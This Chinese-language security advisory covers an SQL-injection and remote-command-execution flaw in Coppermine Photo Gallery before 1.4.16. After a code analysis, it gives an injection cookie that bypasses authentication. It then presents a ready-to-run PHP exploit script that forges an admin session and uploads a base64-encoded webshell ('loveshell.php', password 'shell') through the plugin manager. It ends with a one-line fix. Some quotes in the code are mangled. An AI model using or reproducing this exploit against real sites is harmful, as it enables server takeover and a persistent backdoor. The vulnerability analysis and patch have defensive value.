Coppermine Photo Gallery任意命令执行漏洞

漏洞说明：Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序，但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商：http://coppermine-gallery.net/
漏洞发现：http://www.80sec.com
漏洞危害：高
漏洞来源：http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt

漏洞分析：

Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下：


$HTML_SUBST = array('&' => '&', '"' => '"', '<' => ‘<’, ‘>’ => ‘>’, ‘%26′ => ‘&’, ‘%22′ => ‘"’, ‘%3C’ => ‘<’, ‘%3E’ => ‘>’,'%27′ => ‘'’, “‘” => ‘'’);

$keysToSkip = array(’_POST’, ‘_GET’, ‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’, ‘HTML_SUBST’);

if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
}

可以看到对COOKIE中的数据没有做任何处理，然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php


$sessioncookie = $_COOKIE[$this->client_id];

// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;

……

// Check for valid session if session_cookie_value exists
if ($sessioncookie) {

// Check for valid session
$sql = ’select user_id from ‘.$this->sessionstable.’ where session_id=md5(”‘.$session_id.’”);’;

对session_id的操作的md5是在SQL语句里的，所以可以轻易Bypass，分析数据库结果和认证机制可以得出exploit的COOKIE为：


")union/**/select/**/1/*

只要提交如上COOKIE就可以获得管理员身份，然后就可以上传恶意文件得到站点权限

漏洞利用：80sec提供漏洞利用程序如下：


print_r("

+——————————————————————+

Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com

用法： php.exe exp.php www.80sec.com /cpg1416/

获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)

+——————————————————————+
“);

ini_set(“max_execution_time”,0);
error_reporting(7);

$blogpath=”$argv[2]”;
$server=”$argv[1]”;
$cookie=”;

$evilzip=”UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=”;

$evilzip=base64_decode($evilzip);

$data=<<
—————————–12345671234567
Content-Disposition: form-data; name=”plugin”; filename=”c:\\1.zip”
Content-Type: application/x-zip-compressed

$evilzip
—————————–12345671234567
www_80sec_com;

$temp=send(”,”index.php”);
preg_match_all(‘/Set-Cookie: ([a-f0-9]+)=/i’,$temp,$cookiepre);

$cookiepre=$cookiepre[1][0];

if($cookiepre){
echo “Make Evil Data!\t\r\n”;
$cookie=$cookiepre.’=’.urlencode(‘”)union/**/select/**/1/*;’);
}

echo “Make Evil Shell!\t\r\n”;
send($data,”pluginmgr.php?op=upload”,’multipart/form-data; boundary=—————————12345671234567′);

$shell=”http://$server”.$blogpath.”plugins/loveshell.php”;

echo “Look at $shell :)\r\n”;
echo “Or login with cookie “.urlencode(‘”)union/**/select/**/1/*;’).”\r\n”;

function send($cmd,$script,$type=”)
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$type ? $content=$type : $content=”application/x-www-form-urlencoded”;

$path=$blogpath.”$script”;
$message = “POST “.$path.” HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Referer: http://”.$server.$path.”\r\n”;
$message .= “Content-Type: $content\r\n”;
$message .= “User-Agent: “.$useragent.”\r\n”;
$message .= “Host: “.$server.”\r\n”;
$message .= “Content-length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Keep-Alive\r\n”;
$message .= “Cookie: “.$cookie.”\r\n”;
$message .= $evilip.”\r\n”;
$message .= $cmd.”\r\n”;

//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = ”

";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="

“;
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>

漏洞修复：将认证放到php中处理，即将上述问题语句改为


$sql =  'select user_id from '.$this->sessionstable." where session_id = '" . md5($session_id) . "'";

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Coppermine Photo Gallery任意命令执行漏洞:http://www.80sec.com/coppermine-photo-gallery-exploit.html

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